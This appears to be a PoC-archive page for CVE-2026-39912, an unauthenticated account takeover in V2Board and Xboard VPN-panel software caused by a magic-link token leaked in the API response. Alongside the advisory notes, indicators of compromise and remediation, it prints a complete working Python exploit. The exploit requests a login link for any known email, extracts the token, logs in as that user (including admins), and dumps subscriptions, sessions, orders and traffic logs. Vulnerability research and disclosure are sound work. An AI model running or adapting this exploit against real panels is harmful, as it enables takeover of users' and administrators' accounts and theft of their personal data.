PoC Archive PoC Archive
Critical CVE-2026-39912 unpatched

Xboard / V2Board — Magic Link Token Leak Unauth Account Takeover (CVE-2026-39912)

by Valentin Lobstein (Chocapikk) · 2026-07-05

CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-39912
Category
web
Affected product
V2Board / Xboard (VPN/proxy subscription management panels)
Affected versions
V2Board >= 1.6.1 through 1.7.4; Xboard all versions through 0.1.9+
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherValentin Lobstein (Chocapikk)
CVE / AdvisoryCVE-2026-39912
Categoryweb
SeverityCritical
CVSS Score9.1 (CWE-201)
StatusWeaponized
Tagsxboard, v2board, php, laravel, account-takeover, magic-link, unauthenticated, information-disclosure, proxy-panel
RelatedN/A

Affected Target

FieldValue
Software / SystemV2Board / Xboard (VPN/proxy subscription management panels)
Versions AffectedV2Board >= 1.6.1 through 1.7.4; Xboard all versions through 0.1.9+
Language / PlatformPython (exploit) targeting PHP/Laravel web application
Authentication RequiredNo (requires only a known registered email address)
Network Access RequiredYes

Summary

Both V2Board and its fork Xboard implement a “login with mail link” (magic link) feature. Their loginWithMailLink endpoint (AuthController.php in V2Board, MailLinkService.php in Xboard) generates the one-time login link and is supposed to only deliver it via email — but both implementations also return the link directly in the HTTP response body. An unauthenticated attacker who knows any registered email address (including an admin’s) can request a magic link for that account and read the token straight out of the API response, then use it to log in as that user, achieving full account takeover — including admin takeover — in just two HTTP requests.


Vulnerability Details

Root Cause

loginWithMailLink dispatches the email containing the magic link but also returns the same link/token in the JSON response body (return response(['data' => $link]) in V2Board; return [true, $link] in Xboard), leaking a sensitive authentication token to the requester instead of only the intended email recipient (CWE-201).

Attack Vector

  1. Confirm login_with_mail_link_enable is turned on for the target panel (not default, but commonly enabled).
  2. Send an unauthenticated request to the magic-link login endpoint with a known/guessed registered email address (e.g. an admin’s).
  3. Read the leaked magic-link token/URL directly from the HTTP response.
  4. Follow the leaked link to authenticate as that user, obtaining a valid session/bearer token — including is_admin: true if the targeted email belongs to an administrator.

Impact

Full unauthenticated account takeover of any user — including administrators — on any of the thousands of internet-exposed V2Board/Xboard instances (ZoomEye shows 7,000+ exposed instances), enabling access to subscription data, user PII, and administrative panel functions.


Environment / Lab Setup

Target:   V2Board >= 1.6.1 (through 1.7.4) or Xboard (through 0.1.9+) with magic-link login enabled
Attacker: python3, requests

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
python3 exploit.py http://target:7001 admin@demo.com
python3 exploit.py http://target:7001 admin@demo.com -o dump.json

The script requests a magic login link for the given email, extracts the leaked token from the API response, authenticates using it, and dumps user info, subscription details, and active sessions for the compromised account (optionally saving the dump to a file).


Detection & Indicators of Compromise

Signs of compromise:

  • Repeated loginWithMailLink requests for known/admin email addresses from unfamiliar IPs
  • Admin sessions established immediately after a magic-link request with no corresponding email click event

Remediation

ActionDetail
Primary fixApply V2Board PR #981 or Xboard PR #873, which stop returning the link/token in the API response (return [true, true])
Interim mitigationDisable login_with_mail_link_enable until patched; monitor for anomalous magic-link request volume

References


Notes

Mirrored from https://github.com/Chocapikk/CVE-2026-39912 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
"""
Xboard / V2Board Unauth Account Takeover PoC

Affected:
  - V2Board (v2board/v2board) >= 1.6.1 through 1.7.4 (abandoned)
  - Xboard (cedar2025/Xboard) all versions through v0.1.9+

The loginWithMailLink endpoint returns the magic login link directly
in the HTTP response body instead of only sending it by email.
An unauthenticated attacker can take over any account by email,
then dump all accessible user data (subscriptions, VPN servers,
orders, tickets, sessions, etc).

The bug originates in V2Board and was inherited by Xboard via fork.

Requirements:
  - login_with_mail_link_enable enabled in admin settings
  - Target email belongs to a registered user

Usage:
  python3 poc.py http://localhost:7001 admin@demo.com
  python3 poc.py http://localhost:7001 admin@demo.com -o dump.json
"""

import argparse
import json
import logging
import re
import sys

import requests

logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")
log = logging.getLogger(__name__)

BANNER = """
 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true
"""

DUMP_ENDPOINTS = [
    ("User Info", "api/v1/user/info"),
    ("Subscription", "api/v1/user/getSubscribe"),
    ("Servers", "api/v1/user/server/fetch"),
    ("Orders", "api/v1/user/order/fetch"),
    ("Tickets", "api/v1/user/ticket/fetch"),
    ("Invite Codes", "api/v1/user/invite/fetch"),
    ("Invite Details", "api/v1/user/invite/details"),
    ("Active Sessions", "api/v1/user/getActiveSession"),
    ("Stats", "api/v1/user/getStat"),
    ("Traffic Log", "api/v1/user/stat/getTrafficLog"),
    ("Knowledge Base", "api/v1/user/knowledge/fetch"),
    ("Notices", "api/v1/user/notice/fetch"),
]


class Xboard:
    def __init__(self, base: str):
        self.base = base.rstrip("/")
        self.session = requests.Session()
        self.token = None

    def _get(self, path: str) -> dict:
        r = self.session.get(
            f"{self.base}/{path}",
            headers={"Authorization": self.token} if self.token else {},
        )
        return r.json()

    def takeover(self, email: str) -> dict:
        log.info("Requesting magic link for %s", email)
        r = self.session.post(
            f"{self.base}/api/v1/passport/auth/loginWithMailLink",
            json={"email": email},
        )
        data = r.json()
        if data.get("status") != "success" or not data.get("data"):
            sys.exit(f"Failed: {data}")

        link = data["data"]
        log.info("Leaked: %s", link)

        match = re.search(r"verify=([a-f0-9]+)", link)
        if not match:
            sys.exit(f"No verify token in: {link}")

        r = self.session.get(
            f"{self.base}/api/v1/passport/auth/token2Login",
            params={"verify": match.group(1)},
        )
        auth = r.json().get("data", {})
        if not auth.get("auth_data"):
            sys.exit(f"Token exchange failed: {r.json()}")

        self.token = auth["auth_data"]
        log.info("Authenticated (admin=%s)", auth.get("is_admin", False))
        return auth

    def dump(self) -> dict:
        results = {}
        for name, endpoint in DUMP_ENDPOINTS:
            data = self._get(endpoint)
            if data.get("status") == "success" and data.get("data"):
                results[name] = data["data"]
                log.info("%s: OK", name)
            else:
                log.info("%s: empty or failed", name)
        return results


def main():
    parser = argparse.ArgumentParser(description="Xboard Unauth Account Takeover")
    parser.add_argument("url", help="Target URL")
    parser.add_argument("email", help="Target email")
    parser.add_argument("-o", "--output", help="Dump to JSON file")
    args = parser.parse_args()

    print(BANNER)
    xb = Xboard(args.url)
    auth = xb.takeover(args.email)
    dump = xb.dump()

    output = {"auth": auth, "dump": dump}

    if args.output:
        with open(args.output, "w") as f:
            json.dump(output, f, indent=2, ensure_ascii=False)
        log.info("Saved to %s", args.output)
    else:
        print(json.dumps(output, indent=2, ensure_ascii=False))


if __name__ == "__main__":
    main()